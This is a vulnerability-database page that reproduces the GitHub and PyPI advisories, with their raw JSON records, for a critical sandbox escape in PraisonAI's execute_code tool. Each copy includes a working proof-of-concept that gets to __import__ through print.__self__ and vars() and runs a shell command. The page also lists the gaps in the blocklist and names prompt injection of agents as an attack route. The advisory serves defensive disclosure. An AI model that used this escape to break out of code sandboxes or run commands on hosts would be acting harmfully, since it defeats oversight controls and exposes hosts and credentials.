Search

Find a vulnerability

Search criteria

    Related vulnerabilities

    GHSA-4MR5-G6F9-CFRH

    Vulnerability from github – Published: 2026-05-29 22:30 – Updated: 2026-05-29 22:30
    VLAI
    Summary
    PraisonAI vulnerable to sandbox escape via `print.__self__` builtins module leak in `execute_code` (subprocess mode)
    Details

    Summary

    execute_code() in praisonaiagents/tools/python_tools.py (v1.6.37, subprocess sandbox mode) can be fully bypassed using print.__self__ to retrieve the real Python builtins module, from which __import__ can be extracted via vars() and runtime string construction. This achieves arbitrary OS command execution on the host, completely defeating the sandbox.

    This is a novel bypass that survives all patches for CVE-2026-39888 (frame traversal), CVE-2026-34938 (str subclass), and CVE-2026-40158 (type.__getattribute__ trampoline).


    Severity

    CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H — 9.9 Critical


    Root Cause

    Three independent gaps in the AST-based security validation:

    Gap 1: __self__ missing from _blocked_attrs

    In CPython, all built-in functions (C-level functions) have a __self__ attribute that returns the module they belong to. The built-in functions in safe_builtins (print, len, range, etc.) are the real CPython built-in functions, so print.__self__ returns <module 'builtins' (built-in)>.

    The _blocked_attrs frozenset (line 52) does NOT include __self__. The AST check at line 74 only blocks attributes that are IN this set, so print.__self__ passes.

    Gap 2: vars not blocked as callable or attribute

    builtins.vars(obj) returns obj.__dict__. The function name vars is not in the AST Call blocklist (line 83: only blocks exec, eval, compile, __import__, open, input, breakpoint, setattr, delattr, dir). And vars is not in _blocked_attrs for attribute access.

    So b.vars(b) (where b is the builtins module) returns builtins.__dict__ — a dict containing ALL built-in functions including __import__, exec, eval, open, etc.

    Gap 3: AST Call check only catches ast.Name nodes

    The dangerous-call check (line 82-88) only fires when isinstance(func, ast.Name) — i.e., bare-name calls like exec(...). It does NOT catch: - Attribute calls: b.exec(...) — func is ast.Attribute - Subscript calls: d["exec"](...) — func is ast.Subscript

    Gap 4: Runtime string construction bypasses string constant check

    The string constant check (line 92-98) catches literals like "__import__", but NOT runtime concatenation like "_" + "_" + "import" + "_" + "_". The AST sees 5 separate Constant nodes ("_", "_", "import", "_", "_"), none of which contain any blocked attr as a substring.


    Proof of Concept

    from praisonaiagents.tools.python_tools import execute_code
    
    # Exploit: 4 lines, bypasses ALL security layers
    payload = """
    b = print.__self__
    d = b.vars(b)
    key = "_" + "_" + "import" + "_" + "_"
    imp = d[key]
    mod = imp("os")
    print(mod.popen("id").read())
    """
    
    result = execute_code(code=payload)
    print(result)
    # Output: {'result': None, 'stdout': 'uid=1000(user) gid=1000(user) ...\n', 'stderr': '', 'success': True}
    

    Step-by-step bypass analysis:

    Line AST node Check Result
    print.__self__ Attribute(attr='__self__') __self__ in _blocked_attrs? NO → passes
    b.vars Attribute(attr='vars') vars in _blocked_attrs? NO → passes
    b.vars(b) Call(func=Attribute) isinstance(func, ast.Name)? NO → passes
    "_", "import" Constant(value=str) Contains blocked attr? NO → passes
    d[key] Subscript Not checked passes
    imp("os") Call(func=Name('imp')) imp in blocked calls? NO → passes

    Result: Full sandbox escape → arbitrary command execution


    Impact

    An attacker who can influence agent input (via prompt injection, malicious documents, or direct code submission) can:

    • Execute arbitrary commands on the host system
    • Read/write any file accessible to the process
    • Exfiltrate environment variables, API keys, and credentials
    • Pivot to internal networks
    • Install persistent backdoors

    Affected

    • Package: praisonaiagents (PyPI)
    • Affected versions: All versions through 1.6.37 (latest)
    • Component: praisonaiagents/tools/python_tools.py, _execute_code_sandboxed() function
    • Default configuration affected: Yes (sandbox_mode="sandbox" is the default)

    Remediation

    Immediate fix

    Add __self__ to _blocked_attrs:

    _blocked_attrs = frozenset({
        ...,
        '__self__',  # Built-in functions leak their parent module
    })
    

    Additional hardening

    1. Block vars in the callable blocklist
    2. Extend the ast.Call check to also catch ast.Attribute and ast.Subscript function nodes
    3. Add AST check for BinOp string concatenation that could construct blocked attr names

    Fundamental recommendation

    Denylist-based Python sandboxes are fundamentally insecure. Each patch introduces a new bypass opportunity. Consider: - Using isolated-vm (Node.js) or WebAssembly-based isolation - Using OS-level sandboxing (seccomp, namespaces, gVisor) - Removing in-process code execution entirely in favor of containerized execution

    Show details on source website

    {
      "affected": [
        {
          "database_specific": {
            "last_known_affected_version_range": "\u003c= 1.6.39"
          },
          "package": {
            "ecosystem": "PyPI",
            "name": "praisonaiagents"
          },
          "ranges": [
            {
              "events": [
                {
                  "introduced": "0"
                },
                {
                  "fixed": "1.6.40"
                }
              ],
              "type": "ECOSYSTEM"
            }
          ]
        },
        {
          "database_specific": {
            "last_known_affected_version_range": "\u003c= 4.6.39"
          },
          "package": {
            "ecosystem": "PyPI",
            "name": "PraisonAI"
          },
          "ranges": [
            {
              "events": [
                {
                  "introduced": "0"
                },
                {
                  "fixed": "4.6.40"
                }
              ],
              "type": "ECOSYSTEM"
            }
          ]
        }
      ],
      "aliases": [
        "CVE-2026-47392"
      ],
      "database_specific": {
        "cwe_ids": [
          "CWE-184",
          "CWE-693"
        ],
        "github_reviewed": true,
        "github_reviewed_at": "2026-05-29T22:30:13Z",
        "nvd_published_at": null,
        "severity": "CRITICAL"
      },
      "details": "## Summary\n\n`execute_code()` in `praisonaiagents/tools/python_tools.py` (v1.6.37, subprocess sandbox mode) can be fully bypassed using `print.__self__` to retrieve the real Python `builtins` module, from which `__import__` can be extracted via `vars()` and runtime string construction. This achieves arbitrary OS command execution on the host, completely defeating the sandbox.\n\nThis is a **novel bypass** that survives all patches for CVE-2026-39888 (frame traversal), CVE-2026-34938 (str subclass), and CVE-2026-40158 (`type.__getattribute__` trampoline).\n\n---\n\n## Severity\n\n**CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H \u2014 9.9 Critical**\n\n---\n\n## Root Cause\n\nThree independent gaps in the AST-based security validation:\n\n### Gap 1: `__self__` missing from `_blocked_attrs`\n\nIn CPython, all built-in functions (C-level functions) have a `__self__` attribute that returns the module they belong to. The built-in functions in `safe_builtins` (`print`, `len`, `range`, etc.) are the *real* CPython built-in functions, so `print.__self__` returns `\u003cmodule \u0027builtins\u0027 (built-in)\u003e`.\n\nThe `_blocked_attrs` frozenset (line 52) does NOT include `__self__`. The AST check at line 74 only blocks attributes that are IN this set, so `print.__self__` passes.\n\n### Gap 2: `vars` not blocked as callable or attribute\n\n`builtins.vars(obj)` returns `obj.__dict__`. The function name `vars` is not in the AST `Call` blocklist (line 83: only blocks `exec`, `eval`, `compile`, `__import__`, `open`, `input`, `breakpoint`, `setattr`, `delattr`, `dir`). And `vars` is not in `_blocked_attrs` for attribute access.\n\nSo `b.vars(b)` (where `b` is the builtins module) returns `builtins.__dict__` \u2014 a dict containing ALL built-in functions including `__import__`, `exec`, `eval`, `open`, etc.\n\n### Gap 3: AST `Call` check only catches `ast.Name` nodes\n\nThe dangerous-call check (line 82-88) only fires when `isinstance(func, ast.Name)` \u2014 i.e., bare-name calls like `exec(...)`. It does NOT catch:\n- Attribute calls: `b.exec(...)` \u2014 func is `ast.Attribute`\n- Subscript calls: `d[\"exec\"](...)` \u2014 func is `ast.Subscript`\n\n### Gap 4: Runtime string construction bypasses string constant check\n\nThe string constant check (line 92-98) catches literals like `\"__import__\"`, but NOT runtime concatenation like `\"_\" + \"_\" + \"import\" + \"_\" + \"_\"`. The AST sees 5 separate `Constant` nodes (`\"_\"`, `\"_\"`, `\"import\"`, `\"_\"`, `\"_\"`), none of which contain any blocked attr as a substring.\n\n---\n\n## Proof of Concept\n\n```python\nfrom praisonaiagents.tools.python_tools import execute_code\n\n# Exploit: 4 lines, bypasses ALL security layers\npayload = \"\"\"\nb = print.__self__\nd = b.vars(b)\nkey = \"_\" + \"_\" + \"import\" + \"_\" + \"_\"\nimp = d[key]\nmod = imp(\"os\")\nprint(mod.popen(\"id\").read())\n\"\"\"\n\nresult = execute_code(code=payload)\nprint(result)\n# Output: {\u0027result\u0027: None, \u0027stdout\u0027: \u0027uid=1000(user) gid=1000(user) ...\\n\u0027, \u0027stderr\u0027: \u0027\u0027, \u0027success\u0027: True}\n```\n\n### Step-by-step bypass analysis:\n\n| Line | AST node | Check | Result |\n|---|---|---|---|\n| `print.__self__` | `Attribute(attr=\u0027__self__\u0027)` | `__self__` in `_blocked_attrs`? | **NO** \u2192 passes |\n| `b.vars` | `Attribute(attr=\u0027vars\u0027)` | `vars` in `_blocked_attrs`? | **NO** \u2192 passes |\n| `b.vars(b)` | `Call(func=Attribute)` | `isinstance(func, ast.Name)`? | **NO** \u2192 passes |\n| `\"_\"`, `\"import\"` | `Constant(value=str)` | Contains blocked attr? | **NO** \u2192 passes |\n| `d[key]` | `Subscript` | Not checked | passes |\n| `imp(\"os\")` | `Call(func=Name(\u0027imp\u0027))` | `imp` in blocked calls? | **NO** \u2192 passes |\n\n**Result: Full sandbox escape \u2192 arbitrary command execution**\n\n---\n\n## Impact\n\nAn attacker who can influence agent input (via prompt injection, malicious documents, or direct code submission) can:\n\n- Execute arbitrary commands on the host system\n- Read/write any file accessible to the process\n- Exfiltrate environment variables, API keys, and credentials\n- Pivot to internal networks\n- Install persistent backdoors\n\n---\n\n## Affected\n\n- **Package**: `praisonaiagents` (PyPI)\n- **Affected versions**: All versions through 1.6.37 (latest)\n- **Component**: `praisonaiagents/tools/python_tools.py`, `_execute_code_sandboxed()` function\n- **Default configuration affected**: Yes (`sandbox_mode=\"sandbox\"` is the default)\n\n---\n\n## Remediation\n\n### Immediate fix\nAdd `__self__` to `_blocked_attrs`:\n```python\n_blocked_attrs = frozenset({\n    ...,\n    \u0027__self__\u0027,  # Built-in functions leak their parent module\n})\n```\n\n### Additional hardening\n1. Block `vars` in the callable blocklist\n2. Extend the `ast.Call` check to also catch `ast.Attribute` and `ast.Subscript` function nodes\n3. Add AST check for `BinOp` string concatenation that could construct blocked attr names\n\n### Fundamental recommendation\nDenylist-based Python sandboxes are fundamentally insecure. Each patch introduces a new bypass opportunity. Consider:\n- Using `isolated-vm` (Node.js) or WebAssembly-based isolation\n- Using OS-level sandboxing (seccomp, namespaces, gVisor)\n- Removing in-process code execution entirely in favor of containerized execution",
      "id": "GHSA-4mr5-g6f9-cfrh",
      "modified": "2026-05-29T22:30:13Z",
      "published": "2026-05-29T22:30:13Z",
      "references": [
        {
          "type": "WEB",
          "url": "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-4mr5-g6f9-cfrh"
        },
        {
          "type": "PACKAGE",
          "url": "https://github.com/MervinPraison/PraisonAI"
        }
      ],
      "schema_version": "1.4.0",
      "severity": [
        {
          "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H",
          "type": "CVSS_V3"
        }
      ],
      "summary": "PraisonAI vulnerable to sandbox escape via `print.__self__` builtins module leak in `execute_code` (subprocess mode)"
    }

    PYSEC-2026-463

    Vulnerability from pysec - Published: 2026-06-29 11:50 - Updated: 2026-07-01 20:23
    VLAI
    Details

    Summary

    execute_code() in praisonaiagents/tools/python_tools.py (v1.6.37, subprocess sandbox mode) can be fully bypassed using print.__self__ to retrieve the real Python builtins module, from which __import__ can be extracted via vars() and runtime string construction. This achieves arbitrary OS command execution on the host, completely defeating the sandbox.

    This is a novel bypass that survives all patches for CVE-2026-39888 (frame traversal), CVE-2026-34938 (str subclass), and CVE-2026-40158 (type.__getattribute__ trampoline).


    Severity

    CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H — 9.9 Critical


    Root Cause

    Three independent gaps in the AST-based security validation:

    Gap 1: __self__ missing from _blocked_attrs

    In CPython, all built-in functions (C-level functions) have a __self__ attribute that returns the module they belong to. The built-in functions in safe_builtins (print, len, range, etc.) are the real CPython built-in functions, so print.__self__ returns <module 'builtins' (built-in)>.

    The _blocked_attrs frozenset (line 52) does NOT include __self__. The AST check at line 74 only blocks attributes that are IN this set, so print.__self__ passes.

    Gap 2: vars not blocked as callable or attribute

    builtins.vars(obj) returns obj.__dict__. The function name vars is not in the AST Call blocklist (line 83: only blocks exec, eval, compile, __import__, open, input, breakpoint, setattr, delattr, dir). And vars is not in _blocked_attrs for attribute access.

    So b.vars(b) (where b is the builtins module) returns builtins.__dict__ — a dict containing ALL built-in functions including __import__, exec, eval, open, etc.

    Gap 3: AST Call check only catches ast.Name nodes

    The dangerous-call check (line 82-88) only fires when isinstance(func, ast.Name) — i.e., bare-name calls like exec(...). It does NOT catch: - Attribute calls: b.exec(...) — func is ast.Attribute - Subscript calls: d["exec"](...) — func is ast.Subscript

    Gap 4: Runtime string construction bypasses string constant check

    The string constant check (line 92-98) catches literals like "__import__", but NOT runtime concatenation like "_" + "_" + "import" + "_" + "_". The AST sees 5 separate Constant nodes ("_", "_", "import", "_", "_"), none of which contain any blocked attr as a substring.


    Proof of Concept

    from praisonaiagents.tools.python_tools import execute_code
    
    # Exploit: 4 lines, bypasses ALL security layers
    payload = """
    b = print.__self__
    d = b.vars(b)
    key = "_" + "_" + "import" + "_" + "_"
    imp = d[key]
    mod = imp("os")
    print(mod.popen("id").read())
    """
    
    result = execute_code(code=payload)
    print(result)
    # Output: {'result': None, 'stdout': 'uid=1000(user) gid=1000(user) ...\n', 'stderr': '', 'success': True}
    

    Step-by-step bypass analysis:

    Line AST node Check Result
    print.__self__ Attribute(attr='__self__') __self__ in _blocked_attrs? NO → passes
    b.vars Attribute(attr='vars') vars in _blocked_attrs? NO → passes
    b.vars(b) Call(func=Attribute) isinstance(func, ast.Name)? NO → passes
    "_", "import" Constant(value=str) Contains blocked attr? NO → passes
    d[key] Subscript Not checked passes
    imp("os") Call(func=Name('imp')) imp in blocked calls? NO → passes

    Result: Full sandbox escape → arbitrary command execution


    Impact

    An attacker who can influence agent input (via prompt injection, malicious documents, or direct code submission) can:

    • Execute arbitrary commands on the host system
    • Read/write any file accessible to the process
    • Exfiltrate environment variables, API keys, and credentials
    • Pivot to internal networks
    • Install persistent backdoors

    Affected

    • Package: praisonaiagents (PyPI)
    • Affected versions: All versions through 1.6.37 (latest)
    • Component: praisonaiagents/tools/python_tools.py, _execute_code_sandboxed() function
    • Default configuration affected: Yes (sandbox_mode="sandbox" is the default)

    Remediation

    Immediate fix

    Add __self__ to _blocked_attrs: python _blocked_attrs = frozenset({ ..., '__self__', # Built-in functions leak their parent module })

    Additional hardening

    1. Block vars in the callable blocklist
    2. Extend the ast.Call check to also catch ast.Attribute and ast.Subscript function nodes
    3. Add AST check for BinOp string concatenation that could construct blocked attr names

    Fundamental recommendation

    Denylist-based Python sandboxes are fundamentally insecure. Each patch introduces a new bypass opportunity. Consider: - Using isolated-vm (Node.js) or WebAssembly-based isolation - Using OS-level sandboxing (seccomp, namespaces, gVisor) - Removing in-process code execution entirely in favor of containerized execution

    Impacted products
    Name purl
    praisonai pkg:pypi/praisonai

    {
      "affected": [
        {
          "package": {
            "ecosystem": "PyPI",
            "name": "praisonai",
            "purl": "pkg:pypi/praisonai"
          },
          "ranges": [
            {
              "events": [
                {
                  "introduced": "0"
                },
                {
                  "fixed": "4.6.40"
                }
              ],
              "type": "ECOSYSTEM"
            }
          ],
          "versions": [
            "0.0.1",
            "0.0.10",
            "0.0.11",
            "0.0.12",
            "0.0.13",
            "0.0.14",
            "0.0.15",
            "0.0.16",
            "0.0.17",
            "0.0.18",
            "0.0.19",
            "0.0.2",
            "0.0.20",
            "0.0.21",
            "0.0.22",
            "0.0.23",
            "0.0.24",
            "0.0.25",
            "0.0.26",
            "0.0.27",
            "0.0.28",
            "0.0.29",
            "0.0.3",
            "0.0.30",
            "0.0.31",
            "0.0.32",
            "0.0.33",
            "0.0.34",
            "0.0.35",
            "0.0.36",
            "0.0.37",
            "0.0.38",
            "0.0.39",
            "0.0.4",
            "0.0.40",
            "0.0.41",
            "0.0.42",
            "0.0.43",
            "0.0.44",
            "0.0.45",
            "0.0.46",
            "0.0.47",
            "0.0.48",
            "0.0.49",
            "0.0.5",
            "0.0.50",
            "0.0.52",
            "0.0.53",
            "0.0.54",
            "0.0.55",
            "0.0.56",
            "0.0.57",
            "0.0.58",
            "0.0.59",
            "0.0.59rc11",
            "0.0.59rc2",
            "0.0.59rc3",
            "0.0.59rc5",
            "0.0.59rc6",
            "0.0.59rc7",
            "0.0.59rc8",
            "0.0.59rc9",
            "0.0.6",
            "0.0.61",
            "0.0.64",
            "0.0.65",
            "0.0.66",
            "0.0.67",
            "0.0.68",
            "0.0.69",
            "0.0.7",
            "0.0.70",
            "0.0.71",
            "0.0.72",
            "0.0.73",
            "0.0.74",
            "0.0.8",
            "0.0.9",
            "0.1.0",
            "0.1.1",
            "0.1.10",
            "0.1.2",
            "0.1.3",
            "0.1.4",
            "0.1.5",
            "0.1.6",
            "0.1.7",
            "0.1.8",
            "0.1.9",
            "1.0.0",
            "1.0.1",
            "1.0.10",
            "1.0.11",
            "1.0.2",
            "1.0.3",
            "1.0.4",
            "1.0.5",
            "1.0.6",
            "1.0.8",
            "1.0.9",
            "2.0.0",
            "2.0.1",
            "2.0.10",
            "2.0.11",
            "2.0.12",
            "2.0.13",
            "2.0.14",
            "2.0.15",
            "2.0.16",
            "2.0.17",
            "2.0.18",
            "2.0.19",
            "2.0.2",
            "2.0.20",
            "2.0.22",
            "2.0.23",
            "2.0.24",
            "2.0.25",
            "2.0.26",
            "2.0.27",
            "2.0.28",
            "2.0.29",
            "2.0.3",
            "2.0.30",
            "2.0.31",
            "2.0.32",
            "2.0.33",
            "2.0.34",
            "2.0.35",
            "2.0.36",
            "2.0.37",
            "2.0.38",
            "2.0.39",
            "2.0.40",
            "2.0.41",
            "2.0.42",
            "2.0.43",
            "2.0.44",
            "2.0.45",
            "2.0.46",
            "2.0.47",
            "2.0.48",
            "2.0.49",
            "2.0.5",
            "2.0.50",
            "2.0.51",
            "2.0.53",
            "2.0.54",
            "2.0.55",
            "2.0.56",
            "2.0.57",
            "2.0.58",
            "2.0.59",
            "2.0.6",
            "2.0.60",
            "2.0.61",
            "2.0.62",
            "2.0.63",
            "2.0.64",
            "2.0.65",
            "2.0.66",
            "2.0.67",
            "2.0.68",
            "2.0.69",
            "2.0.7",
            "2.0.70",
            "2.0.71",
            "2.0.72",
            "2.0.73",
            "2.0.74",
            "2.0.75",
            "2.0.76",
            "2.0.77",
            "2.0.78",
            "2.0.79",
            "2.0.8",
            "2.0.80",
            "2.0.81",
            "2.0.9",
            "2.1.0",
            "2.1.1",
            "2.1.4",
            "2.1.5",
            "2.1.6",
            "2.2.1",
            "2.2.10",
            "2.2.11",
            "2.2.12",
            "2.2.13",
            "2.2.14",
            "2.2.15",
            "2.2.16",
            "2.2.17",
            "2.2.18",
            "2.2.19",
            "2.2.2",
            "2.2.20",
            "2.2.21",
            "2.2.22",
            "2.2.24",
            "2.2.25",
            "2.2.26",
            "2.2.27",
            "2.2.28",
            "2.2.29",
            "2.2.3",
            "2.2.30",
            "2.2.31",
            "2.2.32",
            "2.2.33",
            "2.2.34",
            "2.2.35",
            "2.2.36",
            "2.2.37",
            "2.2.38",
            "2.2.39",
            "2.2.4",
            "2.2.40",
            "2.2.41",
            "2.2.42",
            "2.2.43",
            "2.2.44",
            "2.2.45",
            "2.2.46",
            "2.2.47",
            "2.2.48",
            "2.2.49",
            "2.2.5",
            "2.2.50",
            "2.2.51",
            "2.2.52",
            "2.2.53",
            "2.2.54",
            "2.2.55",
            "2.2.56",
            "2.2.57",
            "2.2.58",
            "2.2.59",
            "2.2.6",
            "2.2.60",
            "2.2.61",
            "2.2.62",
            "2.2.63",
            "2.2.64",
            "2.2.65",
            "2.2.66",
            "2.2.67",
            "2.2.68",
            "2.2.69",
            "2.2.7",
            "2.2.70",
            "2.2.71",
            "2.2.72",
            "2.2.73",
            "2.2.74",
            "2.2.75",
            "2.2.76",
            "2.2.77",
            "2.2.78",
            "2.2.79",
            "2.2.8",
            "2.2.80",
            "2.2.81",
            "2.2.82",
            "2.2.83",
            "2.2.84",
            "2.2.86",
            "2.2.87",
            "2.2.88",
            "2.2.89",
            "2.2.9",
            "2.2.90",
            "2.2.91",
            "2.2.93",
            "2.2.95",
            "2.2.96",
            "2.2.97",
            "2.2.98",
            "2.2.99",
            "2.3.0",
            "2.3.1",
            "2.3.10",
            "2.3.11",
            "2.3.12",
            "2.3.13",
            "2.3.14",
            "2.3.15",
            "2.3.16",
            "2.3.18",
            "2.3.19",
            "2.3.2",
            "2.3.20",
            "2.3.21",
            "2.3.22",
            "2.3.23",
            "2.3.24",
            "2.3.25",
            "2.3.26",
            "2.3.27",
            "2.3.28",
            "2.3.29",
            "2.3.3",
            "2.3.30",
            "2.3.31",
            "2.3.32",
            "2.3.33",
            "2.3.34",
            "2.3.35",
            "2.3.36",
            "2.3.37",
            "2.3.38",
            "2.3.39",
            "2.3.4",
            "2.3.40",
            "2.3.41",
            "2.3.42",
            "2.3.43",
            "2.3.44",
            "2.3.45",
            "2.3.46",
            "2.3.47",
            "2.3.48",
            "2.3.49",
            "2.3.5",
            "2.3.50",
            "2.3.51",
            "2.3.52",
            "2.3.53",
            "2.3.54",
            "2.3.55",
            "2.3.56",
            "2.3.57",
            "2.3.58",
            "2.3.59",
            "2.3.6",
            "2.3.60",
            "2.3.61",
            "2.3.62",
            "2.3.63",
            "2.3.64",
            "2.3.65",
            "2.3.66",
            "2.3.67",
            "2.3.68",
            "2.3.69",
            "2.3.7",
            "2.3.70",
            "2.3.71",
            "2.3.72",
            "2.3.73",
            "2.3.74",
            "2.3.75",
            "2.3.76",
            "2.3.77",
            "2.3.78",
            "2.3.79",
            "2.3.8",
            "2.3.80",
            "2.3.81",
            "2.3.82",
            "2.3.83",
            "2.3.84",
            "2.3.85",
            "2.3.86",
            "2.3.87",
            "2.3.9",
            "2.4.0",
            "2.4.1",
            "2.4.2",
            "2.4.3",
            "2.4.4",
            "2.5.0",
            "2.5.1",
            "2.5.2",
            "2.5.3",
            "2.5.4",
            "2.5.5",
            "2.5.6",
            "2.5.7",
            "2.6.0",
            "2.6.1",
            "2.6.2",
            "2.6.3",
            "2.6.4",
            "2.6.5",
            "2.6.6",
            "2.6.7",
            "2.6.8",
            "2.7.0",
            "2.8.3",
            "2.8.4",
            "2.8.5",
            "2.8.6",
            "2.8.7",
            "2.8.8",
            "2.8.9",
            "2.9.0",
            "2.9.1",
            "2.9.2",
            "3.0.0",
            "3.0.1",
            "3.0.2",
            "3.0.3",
            "3.0.4",
            "3.0.5",
            "3.0.6",
            "3.0.7",
            "3.0.8",
            "3.0.9",
            "3.1.0",
            "3.1.1",
            "3.1.2",
            "3.1.3",
            "3.1.4",
            "3.1.5",
            "3.1.6",
            "3.1.7",
            "3.1.8",
            "3.1.9",
            "3.10.0",
            "3.10.1",
            "3.10.10",
            "3.10.11",
            "3.10.12",
            "3.10.13",
            "3.10.14",
            "3.10.15",
            "3.10.16",
            "3.10.17",
            "3.10.18",
            "3.10.19",
            "3.10.2",
            "3.10.20",
            "3.10.21",
            "3.10.22",
            "3.10.23",
            "3.10.24",
            "3.10.25",
            "3.10.26",
            "3.10.27",
            "3.10.3",
            "3.10.4",
            "3.10.5",
            "3.10.6",
            "3.10.7",
            "3.10.8",
            "3.10.9",
            "3.11.0",
            "3.11.1",
            "3.11.10",
            "3.11.11",
            "3.11.12",
            "3.11.13",
            "3.11.14",
            "3.11.2",
            "3.11.3",
            "3.11.4",
            "3.11.8",
            "3.11.9",
            "3.12.0",
            "3.12.1",
            "3.12.2",
            "3.12.3",
            "3.2.0",
            "3.2.1",
            "3.3.0",
            "3.3.1",
            "3.4.0",
            "3.4.1",
            "3.5.0",
            "3.5.1",
            "3.5.2",
            "3.5.3",
            "3.5.4",
            "3.5.5",
            "3.5.6",
            "3.5.7",
            "3.5.8",
            "3.5.9",
            "3.6.0",
            "3.6.1",
            "3.6.2",
            "3.7.0",
            "3.7.1",
            "3.7.2",
            "3.7.3",
            "3.7.4",
            "3.7.5",
            "3.7.6",
            "3.7.7",
            "3.7.8",
            "3.7.9",
            "3.8.0",
            "3.8.1",
            "3.8.10",
            "3.8.11",
            "3.8.12",
            "3.8.13",
            "3.8.14",
            "3.8.16",
            "3.8.17",
            "3.8.18",
            "3.8.19",
            "3.8.2",
            "3.8.20",
            "3.8.21",
            "3.8.22",
            "3.8.3",
            "3.8.4",
            "3.8.5",
            "3.8.6",
            "3.8.7",
            "3.8.8",
            "3.8.9",
            "3.9.0",
            "3.9.1",
            "3.9.10",
            "3.9.11",
            "3.9.12",
            "3.9.13",
            "3.9.14",
            "3.9.15",
            "3.9.16",
            "3.9.17",
            "3.9.18",
            "3.9.19",
            "3.9.2",
            "3.9.20",
            "3.9.21",
            "3.9.22",
            "3.9.23",
            "3.9.24",
            "3.9.25",
            "3.9.26",
            "3.9.27",
            "3.9.28",
            "3.9.29",
            "3.9.3",
            "3.9.30",
            "3.9.31",
            "3.9.32",
            "3.9.33",
            "3.9.34",
            "3.9.35",
            "3.9.4",
            "3.9.5",
            "3.9.6",
            "3.9.7",
            "3.9.8",
            "3.9.9",
            "4.0.0",
            "4.1.0",
            "4.2.0",
            "4.2.1",
            "4.2.2",
            "4.2.3",
            "4.2.4",
            "4.3.0",
            "4.3.1",
            "4.4.0",
            "4.4.10",
            "4.4.11",
            "4.4.12",
            "4.4.2",
            "4.4.3",
            "4.4.4",
            "4.4.5",
            "4.4.6",
            "4.4.7",
            "4.4.8",
            "4.4.9",
            "4.5.0",
            "4.5.1",
            "4.5.10",
            "4.5.100",
            "4.5.101",
            "4.5.102",
            "4.5.103",
            "4.5.104",
            "4.5.105",
            "4.5.106",
            "4.5.107",
            "4.5.108",
            "4.5.109",
            "4.5.11",
            "4.5.110",
            "4.5.111",
            "4.5.112",
            "4.5.113",
            "4.5.114",
            "4.5.115",
            "4.5.117",
            "4.5.118",
            "4.5.119",
            "4.5.12",
            "4.5.120",
            "4.5.121",
            "4.5.122",
            "4.5.123",
            "4.5.124",
            "4.5.125",
            "4.5.126",
            "4.5.127",
            "4.5.128",
            "4.5.129",
            "4.5.13",
            "4.5.130",
            "4.5.131",
            "4.5.132",
            "4.5.133",
            "4.5.134",
            "4.5.135",
            "4.5.136",
            "4.5.137",
            "4.5.139",
            "4.5.14",
            "4.5.140",
            "4.5.143",
            "4.5.144",
            "4.5.145",
            "4.5.149",
            "4.5.15",
            "4.5.16",
            "4.5.18",
            "4.5.19",
            "4.5.2",
            "4.5.20",
            "4.5.21",
            "4.5.22",
            "4.5.23",
            "4.5.24",
            "4.5.25",
            "4.5.26",
            "4.5.27",
            "4.5.28",
            "4.5.29",
            "4.5.3",
            "4.5.30",
            "4.5.31",
            "4.5.32",
            "4.5.33",
            "4.5.34",
            "4.5.35",
            "4.5.36",
            "4.5.37",
            "4.5.38",
            "4.5.39",
            "4.5.40",
            "4.5.41",
            "4.5.42",
            "4.5.43",
            "4.5.44",
            "4.5.45",
            "4.5.46",
            "4.5.48",
            "4.5.49",
            "4.5.5",
            "4.5.51",
            "4.5.52",
            "4.5.54",
            "4.5.55",
            "4.5.56",
            "4.5.57",
            "4.5.58",
            "4.5.59",
            "4.5.6",
            "4.5.60",
            "4.5.62",
            "4.5.63",
            "4.5.64",
            "4.5.65",
            "4.5.67",
            "4.5.68",
            "4.5.69",
            "4.5.7",
            "4.5.70",
            "4.5.71",
            "4.5.72",
            "4.5.73",
            "4.5.74",
            "4.5.76",
            "4.5.77",
            "4.5.78",
            "4.5.79",
            "4.5.8",
            "4.5.80",
            "4.5.81",
            "4.5.82",
            "4.5.83",
            "4.5.85",
            "4.5.87",
            "4.5.88",
            "4.5.89",
            "4.5.9",
            "4.5.90",
            "4.5.93",
            "4.5.94",
            "4.5.95",
            "4.5.96",
            "4.5.97",
            "4.5.98",
            "4.6.10",
            "4.6.11",
            "4.6.12",
            "4.6.13",
            "4.6.14",
            "4.6.15",
            "4.6.16",
            "4.6.18",
            "4.6.19",
            "4.6.20",
            "4.6.21",
            "4.6.22",
            "4.6.23",
            "4.6.24",
            "4.6.25",
            "4.6.26",
            "4.6.27",
            "4.6.28",
            "4.6.29",
            "4.6.30",
            "4.6.31",
            "4.6.32",
            "4.6.33",
            "4.6.34",
            "4.6.35",
            "4.6.36",
            "4.6.37",
            "4.6.38",
            "4.6.39",
            "4.6.9"
          ]
        }
      ],
      "aliases": [
        "CVE-2026-47392",
        "GHSA-4mr5-g6f9-cfrh"
      ],
      "details": "## Summary\n\n`execute_code()` in `praisonaiagents/tools/python_tools.py` (v1.6.37, subprocess sandbox mode) can be fully bypassed using `print.__self__` to retrieve the real Python `builtins` module, from which `__import__` can be extracted via `vars()` and runtime string construction. This achieves arbitrary OS command execution on the host, completely defeating the sandbox.\n\nThis is a **novel bypass** that survives all patches for CVE-2026-39888 (frame traversal), CVE-2026-34938 (str subclass), and CVE-2026-40158 (`type.__getattribute__` trampoline).\n\n---\n\n## Severity\n\n**CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H \u2014 9.9 Critical**\n\n ---\n\n## Root Cause\n\nThree independent gaps in the AST-based security validation:\n \n### Gap 1: `__self__` missing from `_blocked_attrs`\n\nIn CPython, all built-in functions (C-level functions) have a `__self__` attribute that returns the module they belong to. The built-in functions in `safe_builtins` (`print`, `len`, `range`, etc.) are the *real* CPython built-in functions, so `print.__self__` returns `\u003cmodule \u0027builtins\u0027 (built-in)\u003e`.\n\nThe `_blocked_attrs` frozenset (line 52) does NOT include `__self__`. The AST check at line 74 only blocks attributes that are IN this set, so `print.__self__` passes.\n\n### Gap 2: `vars` not blocked as callable or attribute\n \n`builtins.vars(obj)` returns `obj.__dict__`. The function name `vars` is not in the AST `Call` blocklist (line 83: only blocks `exec`, `eval`, `compile`, `__import__`, `open`, `input`, `breakpoint`, `setattr`, `delattr`, `dir`). And `vars` is not in `_blocked_attrs` for attribute access.\n\nSo `b.vars(b)` (where `b` is the builtins 